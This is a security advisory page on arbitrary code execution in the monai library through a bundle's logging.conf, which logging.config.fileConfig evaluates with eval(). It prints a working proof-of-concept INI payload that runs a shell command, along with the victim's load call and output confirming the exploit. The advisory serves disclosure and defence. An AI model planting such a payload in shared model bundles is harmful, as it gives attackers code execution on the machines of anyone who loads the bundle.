All vulnerabilities
GHSA-wvpx-5qmp-46g3

monai: Arbitrary code execution via a bundle's `configs/logging.conf` (`logging.config.fileConfig` eval)

monai
CVSS
8.8High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published13 Oct 2026Updated 13 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

monai.bundle.ConfigWorkflow sets its logging file to <bundle>/configs/logging.conf by default and, if that file exists, passes it to logging.config.fileConfig(). fileConfig eval()s the class= and args= fields of the INI's handler sections, so a malicious logging.conf runs arbitrary code the moment the workflow object is constructed.

This fires in ConfigWorkflow.__init__ — before initialize() or run() — and is reached by every bundle entrypoint that builds a workflow: monai.bundle.load() (a "load weights" verb), monai.bundle.run(), run_workflow(), create_workflow(), and direct ConfigWorkflow(config_file=...). An attacker who publishes a bundle whose configs/logging.conf carries a crafted handler achieves remote-ish code execution against anyone who loads or runs it.

This is a distinct primitive from the bundle config $-expression / _target_ RCE (reported separately): it lives in a plain INI file, not in the MONAI $-DSL, so it evades the intuition "don't put $ expressions in bundles you don't trust," and it triggers at object construction rather than at initialize.

Details

Root cause

ConfigWorkflow.__init__ defaults logging_file to the bundle's own configs/logging.conf and calls logging.config.fileConfig() on it with no trust check. fileConfig resolves handler classes and evaluates their constructor args with eval(), so any INI field placed there runs as Python.

Vulnerable code

# monai/bundle/workflows.py  (ConfigWorkflow.__init__)
logging_file = str(self.config_root_path / "logging.conf") if logging_file is None else logging_file   # :435
if logging_file is False:
    logger.warning(...)
else:
    if not os.path.isfile(logging_file):
        ...
    else:
        fileConfig(str(logging_file), disable_existing_loggers=False)   # :445  <-- eval()s INI handler fields

PoC

Attacker-published bundle (note: train.json is entirely benign):

coolseg/models/model.pt         # benign, weights_only-loadable
coolseg/configs/train.json       # {"workflow_type": "train"}   -- no $ expressions, no initialize
coolseg/configs/logging.conf     # malicious INI below

coolseg/configs/logging.conf

[loggers]
keys=root
[handlers]
keys=h
[formatters]
keys=f
[logger_root]
level=NOTSET
handlers=h
[handler_h]
class=(__import__('os').system('echo LOGCONF_RCE_$(id -u)_$(whoami) > /tmp/pwned'), __import__('logging').StreamHandler)[1]
args=()
formatter=f
[formatter_f]
format=%(message)s

Victim action — "load my segmentation model":

import monai.bundle
monai.bundle.load(name="coolseg", source="huggingface_hub", repo="attacker/coolseg")

load → create_workflow → ConfigWorkflow.__init__ → fileConfig("configs/logging.conf") → the handler class= field is eval()ed → the shell command runs.

Dynamic validation

Reproduced against the analyzed clone (bundle pre-placed so the orthogonal network download is skipped; the path from create_workflow onward is identical). Decisive output:

MONAI_ALLOW_PICKLE_ENV: 0
MARKER_PRE_EXISTED: False
TRAIN_JSON_HAS_INITIALIZE: False
ATTACKER_CODE_RAN: True
MARKER_CONTENT: LOGCONF_RCE_501_ty
LOGGING_CONF_RCE_CONFIRMED: true

LOGCONF_RCE_501_ty is the live output of id -u / whoami, executed by the logging INI while train.json contained no MONAI $ expression at all.

Impact

Arbitrary code execution as the user who loads or runs the bundle. MONAI bundles are shared widely through the model zoo, Hugging Face, and NGC, so this is a practical supply-chain vector against researchers and inference services. Because the payload lives in logging.conf rather than the main config, it is easy to overlook when reviewing a bundle, and it executes at construction time before any run.

  • Confidentiality / Integrity / Availability: High.

Text from GitHub Advisory Database

Affected versions 1

  • monai, pypi>= 1.2.0GitHub